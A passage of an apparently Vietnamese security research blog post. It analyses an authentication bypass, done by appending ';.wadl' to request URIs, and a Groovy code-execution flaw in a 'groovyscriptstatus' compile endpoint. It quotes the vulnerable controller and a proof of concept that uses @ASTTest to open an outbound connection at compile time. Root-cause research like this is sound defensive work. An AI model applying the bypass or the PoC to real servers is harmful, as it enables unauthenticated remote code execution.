srcset="https://substackcdn.com/image/fetch/$s_!CVmT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 424w, https://substackcdn.com/image/fetch/$s_!CVmT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 848w, https://substackcdn.com/image/fetch/$s_!CVmT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 1272w, https://substackcdn.com/image/fetch/$s_!CVmT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>&#272;i&#7873;u &#273;&#243; gi&#7843;i th&#237;ch v&#236; sao ta c&#243; th&#7875; v&#224; ph&#7843;i inject <strong>;.wadl</strong> v&#224;o uri &#273;&#7875; c&#243; th&#7875; reach &#273;&#432;&#7907;c API endpoint mong mu&#7889;n.</p><p>Nh&#432; v&#7853;y ta c&#243; th&#7875; bypass &#273;&#432;&#7907;c auth m&#7897;t c&#225;ch &#273;&#417;n gi&#7843;n b&#7857;ng c&#225;ch th&#234;m v&#224;o cu&#7889;i uri m&#7897;t path parm <strong>;.wadl</strong></p><p>request b&#236;nh th&#432;&#7901;ng:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4N34!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4N34!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 424w, https://substackcdn.com/image/fetch/$s_!4N34!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 848w, https://substackcdn.com/image/fetch/$s_!4N34!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 1272w, https://substackcdn.com/image/fetch/$s_!4N34!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4N34!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png" width="1456" height="259" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:259,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4N34!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 424w, https://substackcdn.com/image/fetch/$s_!4N34!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 848w, https://substackcdn.com/image/fetch/$s_!4N34!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 1272w, https://substackcdn.com/image/fetch/$s_!4N34!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>request c&#243; <strong>;.wadl</strong> :</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CW_O!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CW_O!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 424w, https://substackcdn.com/image/fetch/$s_!CW_O!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 848w, https://substackcdn.com/image/fetch/$s_!CW_O!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 1272w, https://substackcdn.com/image/fetch/$s_!CW_O!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CW_O!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png" width="1456" height="328" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:328,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CW_O!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 424w, https://substackcdn.com/image/fetch/$s_!CW_O!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 848w, https://substackcdn.com/image/fetch/$s_!CW_O!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 1272w, https://substackcdn.com/image/fetch/$s_!CW_O!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h2><strong>Groovy Injection</strong></h2><p>V&#7899;i bug auth bypass gi&#7901; &#273;&#226;y ta c&#243; th&#7875; t&#249;y &#253; truy c&#7853;p v&#224;o c&#225;c ch&#7913;c n&#259;ng c&#7911;a app <code>applicationmanagement</code> m&#224; kh&#244;ng c&#7847;n x&#225;c th&#7921;c, trong &#273;&#243; c&#243; endpoint <code>groovyscriptstatus</code>. API n&#224;y cho ph&#233;p ng&#432;&#7901;i d&#249;ng truy&#7873;n v&#224;o m&#7897;t &#273;o&#7841;n m&#227; script groovy v&#224; bi&#234;n d&#7883;ch ch&#250;ng:</p><pre><code><code>    @POST
    @Consumes({&#8221;application/json&#8221;})
    @Path(&#8221;/applications/groovyscriptstatus&#8221;)
    public Response compileScript(String script) throws Exception {
        ApplicationRestLogger.LOGGER.entering(ApplicationrestServiceController.class.getName(), &#8220;compileScript(String)&#8221;, new Object[]{script});

        try {
            ApplicationrestServiceImpl.compileScript(script);
        } catch (Exception var3) {
            Exception e = var3;
            ApplicationRestLogger.LOGGER.log(Level.SEVERE, (String)null, e);
            return Response.status(500).entity(e.getMessage()).type(&#8221;text/plain&#8221;).build();
        }

        ApplicationRestLogger.LOGGER.exiting(ApplicationrestServiceController.class.getName(), &#8220;compileScript(String)&#8221;);
        return Response.status(Status.OK).entity(&#8221;Script Compilation Successful&#8221;).type(&#8221;text/plain&#8221;).build();
    }
</code></code></pre><p>Nh&#432; t&#234;n c&#7911;a endpoint n&#224;y, ch&#7913;c n&#259;ng c&#7911;a n&#243; &#273;&#417;n thu&#7847;n ch&#7881; l&#224; ki&#7875;m tra syntax c&#7911;a script groovy b&#7857;ng c&#225;ch compile ch&#250;ng n&#7871;u th&#224;nh c&#244;ng th&#236; tr&#7843; response successful</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-3eP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-3eP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 424w, https://substackcdn.com/image/fetch/$s_!-3eP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 848w, https://substackcdn.com/image/fetch/$s_!-3eP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 1272w, https://substackcdn.com/image/fetch/$s_!-3eP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-3eP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png" width="612" height="114" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:114,&quot;width&quot;:612,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-3eP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 424w, https://substackcdn.com/image/fetch/$s_!-3eP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 848w, https://substackcdn.com/image/fetch/$s_!-3eP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 1272w, https://substackcdn.com/image/fetch/$s_!-3eP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sRDU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sRDU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 424w, https://substackcdn.com/image/fetch/$s_!sRDU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 848w, https://substackcdn.com/image/fetch/$s_!sRDU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 1272w, https://substackcdn.com/image/fetch/$s_!sRDU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sRDU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png" width="697" height="173" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:173,&quot;width&quot;:697,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sRDU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 424w, https://substackcdn.com/image/fetch/$s_!sRDU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 848w, https://substackcdn.com/image/fetch/$s_!sRDU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 1272w, https://substackcdn.com/image/fetch/$s_!sRDU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Tho&#7841;t nh&#236;n th&#236; th&#7845;y ch&#7913;c n&#259;ng n&#224;y c&#243; v&#7867; v&#244; h&#7841;i, kh&#244;ng exploit &#273;&#432;&#7907;c g&#236; khi n&#243; ch&#7881; bi&#234;n d&#7883;ch m&#224; kh&#244;ng th&#7921;c s&#7921; th&#7921;c thi code groovy nh&#432;ng Searchlight &#273;&#227; c&#243; m&#7897;t &#8220;trick&#8221; c&#7921;c hay &#273;&#243; l&#224; s&#7917; d&#7909;ng annotation &#273;&#7875; c&#243; th&#7875; execute &#273;&#432;&#7907;c groovy.</p><p>M&#236;nh kh&#225; b&#7845;t ng&#7901; khi l&#7847;n &#273;&#7847;u bi&#7871;t &#273;&#432;&#7907;c 1 annotation b&#236;nh th&#432;&#7901;ng ch&#7881; ch&#7913;a c&#225;c metadata l&#7841;i c&#243; th&#7875; execute &#273;&#432;&#7907;c code v&#224; &#273;&#226;y c&#361;ng ch&#237;nh l&#224; l&#253; do khi&#7871;n m&#236;nh quy&#7871;t &#273;&#7883;nh d&#7921;ng l&#7841;i lab &#273;&#7875; debug root cause c&#7911;a n&#243;.</p><p>POC c&#7911;a Searchlight tr&#244;ng nh&#432; sau:</p><pre><code><code>import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            def connection = new URL(&#8221;https://our.outbound.server&#8221;).openConnection()
            connection.setRequestMethod(&#8221;GET&#8221;)
            def response = connection.getInputStream().getText()
        } catch (Exception e) {}
    })
    static void main(String[] args) {}
}

Demo.main()
</code></code></pre><p>&#272;&#7875; hi&#7875;u c&#225;ch m&#224; poc tr&#234;n ho&#7841;t &#273;&#7897;ng ta c&#7847;n ph&#7843;i t&#236;m hi&#7875;u tr&#432;&#7899;c c&#225;c kh&#225;i ni&#7879;m nh&#432; <code>ASTTransformation</code> hay Compilephase trong groovy.</p><h3><strong>AST Transformation</strong></h3><p>Groovy l&#224; m&#7897;t ng&#244;n ng&#7919; &#273;&#7897;ng (dynamic language) ch&#7841;y tr&#234;n JVM, &#273;&#432;&#7907;c thi&#7871;t k&#7871; &#273;&#7875; t&#432;&#417;ng th&#237;ch t&#7889;t v&#7899;i Java nh&#432;ng b&#7893; sung th&#234;m r&#7845;t nhi&#7873;u t&#237;nh n&#259;ng meta-programming m&#7841;nh m&#7869;. M&#7897;t trong nh&#7919;ng c&#417; ch&#7871; quan tr&#7885;ng c&#7911;a Groovy l&#224; AST Transformation &#8211; cho ph&#233;p can thi&#7879;p tr&#7921;c ti&#7871;p v&#224;o c&#226;y c&#250; ph&#225;p tr&#7915;u t&#432;&#7907;ng (Abstract Syntax Tree &#8211; AST) trong qu&#225; tr&#236;nh bi&#234;n d&#7883;ch.</p><p>Kh&#225;c v&#7899;i Java, n&#417;i annotation ch&#7911; y&#7871;u ch&#7881; mang t&#237;nh &#8220;m&#244; t&#7843;&#8221;, annotation trong Groovy c&#243; th&#7875; &#273;&#432;&#7907;c g&#7855;n v&#7899;i m&#7897;t AST Transformation c&#7909; th&#7875;. Khi tr&#236;nh bi&#234;n d&#7883;ch Groovy &#273;i qua t&#7915;ng phase (parsing, semantic analysis, canonicalization, &#8230;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://groovy-lang.org/metaprogramming.html" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!prFa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 424w, https://substackcdn.com/image/fetch/$s_!prFa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 848w, https://substackcdn.com/image/fetch/$s_!prFa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 1272w, https://substackcdn.com/image/fetch/$s_!prFa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!prFa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png" width="1012" height="510" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:510,&quot;width&quot;:1012,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:&quot;https://groovy-lang.org/metaprogramming.html&quot;,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!prFa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 424w, https://substackcdn.com/image/fetch/$s_!prFa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 848w, https://substackcdn.com/image/fetch/$s_!prFa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 1272w, https://substackcdn.com/image/fetch/$s_!prFa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Khi &#273;&#243; n&#243; s&#7869; t&#236;m c&#225;c annotation &#273;&#7863;c bi&#7879;t v&#224; g&#7885;i t&#7899;i l&#7899;p transformation t&#432;&#417;ng &#7913;ng. &#272;i&#7873;u n&#224;y cho ph&#233;p annotation kh&#244;ng ch&#7881; &#8220;m&#244; t&#7843;&#8221;, m&#224; c&#242;n thay &#273;&#7893;i ho&#7863;c t&#225;c &#273;&#7897;ng l&#234;n m&#227; ngu&#7891;n &#7903; m&#7913;c AST, v&#237; d&#7909;: t&#7921; &#273;&#7897;ng sinh constructor, th&#234;m getter/setter, th&#234;m logging</p><h3><strong>ASTTest</strong></h3><p>POC c&#7911;a Searchlight s&#7917; d&#7909;ng annotation <code>@ASTTest</code> v&#7899;i compile phase l&#224; <code>Semantic Analysis</code>. <code>@ASTTest</code> l&#224; m&#7897;t annotation &#273;&#7863;c bi&#7879;t do Groovy cung c&#7845;p, &#273;&#432;&#7907;c thi&#7871;t k&#7871; &#273;&#7875; gi&#250;p dev test v&#224; debug c&#225;c AST transformation.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://groovy-lang.org/metaprogramming.html#xform-ASTTest" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3y0C!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 424w, https://substackcdn.com/image/fetch/$s_!3y0C!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 848w, 